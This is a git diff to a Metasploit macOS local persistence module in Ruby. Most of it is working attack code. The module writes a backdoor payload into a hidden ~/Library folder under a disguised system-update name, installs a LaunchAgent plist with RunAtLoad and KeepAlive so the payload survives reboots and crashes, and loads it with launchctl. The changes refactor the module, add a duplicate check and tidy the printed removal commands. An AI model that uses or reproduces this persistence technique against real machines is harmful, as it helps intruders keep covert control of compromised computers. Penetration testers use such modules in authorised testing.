diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/local/persistence.rb
index 7fee322649..ae89d870d2 100644
--- a/modules/exploits/osx/local/persistence.rb
+++ b/modules/exploits/osx/local/persistence.rb
@@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Local
     register_options([
       OptString.new('BACKDOOR_PATH', 
         [true, 'Path to hide the backdoor on the target.', 
-         '/Users/<user>/Library/.<random>/com.system.update']
+         '~/Library/.<random>/com.system.update']
       ),
       OptBool.new('KEEPALIVE',
         [true, 'Continually restart the payload exe if it crashes/exits.', true]
@@ -50,18 +50,97 @@ class Metasploit3 < Msf::Exploit::Local
   end
 
   def exploit
+    check_for_duplicate_entry
     # Store backdoor on target machine
     write_backdoor(generate_payload_exe)
     # Add plist file to LaunchAgents dir
     add_launchctl_item
-    # invoke the service if necessary
-    invoke_service if run_now?
     # tell the user how to remove the persistence if necessary
     list_removal_paths
   end
 
   private
 
+  # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
+  def add_launchctl_item
+    label = File.basename(backdoor_path)
+    cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
+    # Note: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
+    item = <<-EOI
+    <?xml version="1.0" encoding="UTF-8"?>
+    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+    <plist version="1.0">
+      <dict>
+        <key>Label</key>
+        <string>#{label}</string>
+        <key>Program</key>
+        <string>#{backdoor_path}</string>
+        <key>ProgramArguments</key>
+        <array>
+          <string>#{backdoor_path}</string>
+        </array>
+        <key>RunAtLoad</key>
+        <true/>
+        <key>OnDemand</key>
+        <#{keepalive?}/>
+        <key>KeepAlive</key>
+        <#{keepalive?}/>
+      </dict>
+    </plist>
+    EOI
+
+    if write_file(plist_path, item)
+      print_good("LaunchAgent added: #{plist_path}")
+    else
+      fail_with("Error writing LaunchAgent item to #{plist_path}")
+    end
+
+    if run_now?
+      cmd_exec("launchctl load -w #{plist_path.shellescape}")
+    end
+
+    print_good("LaunchAgent installed successfully.")
+  end
+
+  # path to upload the backdoor. any <user> or <random> substrings will be replaced.
+  # @return [String] path to drop the backdoor payload.
+  def backdoor_path
+    @backdoor_path ||= (datastore['BACKDOOR_PATH']
+      .gsub('<random>'){ Rex::Text.rand_text_alpha(8) }
+      .gsub(/^~\//, "/Users/#{user}/"))
+  end
+
+  # raises an error if a Launch Agent already exists at desired same plist_path
+  def check_for_duplicate_entry
+    if file?(plist_path)
+      fail_with "FileError", "Duplicate LaunchAgent plist already exists at #{plist_path}"
+    end
+  end
+
+  # @return [Boolean] user wants the persistence to be restarted constantly if it exits
+  def keepalive?; datastore['KEEPALIVE']; end
+
+  # useful if you want to remove the persistence.
+  # prints out a list of paths to remove and commands to run.
+  def list_removal_paths
+    files = [backdoor_path, plist_path]
+    print_status("To remove the persistence, run:\n"+
+                 "$ launchctl unload -w #{plist_path.shellescape}\n"+
+                 files.map{|f| "$ rm #{f}"}.join("\n"))
+  end
+
+  # path to the LaunchAgent service configuration plist
+  # @return [String] path to the LaunchAgent service
+  def plist_path
+    @plist ||= "/Users/#{user}/Library/LaunchAgents/#{File.basename(backdoor_path)}.plist"
+  end
+
+  # @return [Boolean] user wants to launch the LaunchAgent immediately
+  def run_now?; datastore['RUN_NOW']; end
+
+  # @return [String] username of the session
+  def user; @user ||= cmd_exec('whoami').strip; end
+
   # drops the file to disk, then makes it executable
   # @param [String] exe the executable to drop
   def write_backdoor(exe)
@@ -75,74 +154,4 @@ class Metasploit3 < Msf::Exploit::Local
       fail_with("Error dropping backdoor to #{backdoor_path}")
     end
   end
-
-  # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
-  def add_launchctl_item
-    label = File.basename(backdoor_path)
-    cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
-    item = <<-EOI
-    <?xml version="1.0" encoding="UTF-8"?>
-    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
-    <plist version="1.0">
-      <dict>
-        <key>Label</key>
-          <string>#{label}</string>
-        <key>Program</key>
-          <string>#{backdoor_path}</string>
-        <key>ProgramArguments</key>
-          <array>
-            <string>#{backdoor_path}</string>
-          </array>
-        <key>RunAtLoad</key>
-        <true/>
-        <key>KeepAlive</key>
-        <#{keepalive?}/>
-      </dict>
-    </plist>
-    EOI
-
-    if write_file(plist_path, item)
-      print_good("LaunchAgent added: #{plist_path}")
-    else
-      fail_with("Error writing LaunchAgent item to #{plist_path}")
-    end
-  end
-
-  # tells launchctl to start the service we dropped
-  def invoke_service
-    print_status("Starting the LaunchAgent")
-    cmd_exec("launchctl unload -w #{plist_path.shellescape}") # in case of previous persistence (unlikely)
-    cmd_exec("launchctl load -w #{plist_path.shellescape}")
-    cmd_exec("launchctl start #{File.basename(plist_path).shellescape}")
-  end
-
-  # useful if you want to remove the persistence.
-  # prints out a list of paths to remove and commands to run.
-  def list_removal_paths
-    files = [backdoor_path, plist_path]
-    run_cmd = "Then log out or run: launchctl unload -w #{plist_path.shellescape}"
-    print_status("To remove the persistence, delete the files:\n#{files.join("\n")}\n#{run_cmd}")
-  end
-
-  # path to upload the backdoor. any <user> or <random> substrings will be replaced.
-  # @return [String] path to drop the backdoor payload.
-  def backdoor_path
-    @backdoor_path ||= (datastore['BACKDOOR_PATH']
-      .gsub('<random>'){ Rex::Text.rand_text_alpha(8) }
-      .gsub('<user>', user))
-  end
-
-  # path to the LaunchAgent service configuration plist
-  # @return [String] path to the LaunchAgent service
-  def plist_path
-    @plist ||= "/Users/#{user}/Library/LaunchAgents/#{File.basename(backdoor_path)}.plist"
-  end
-
-  def keepalive?; datastore['KEEPALIVE']; end
-  def run_now?; datastore['RUN_NOW']; end
-
-  # @return [String] username of the session
-  def user
-    @user ||= cmd_exec('whoami').strip
-  end
 end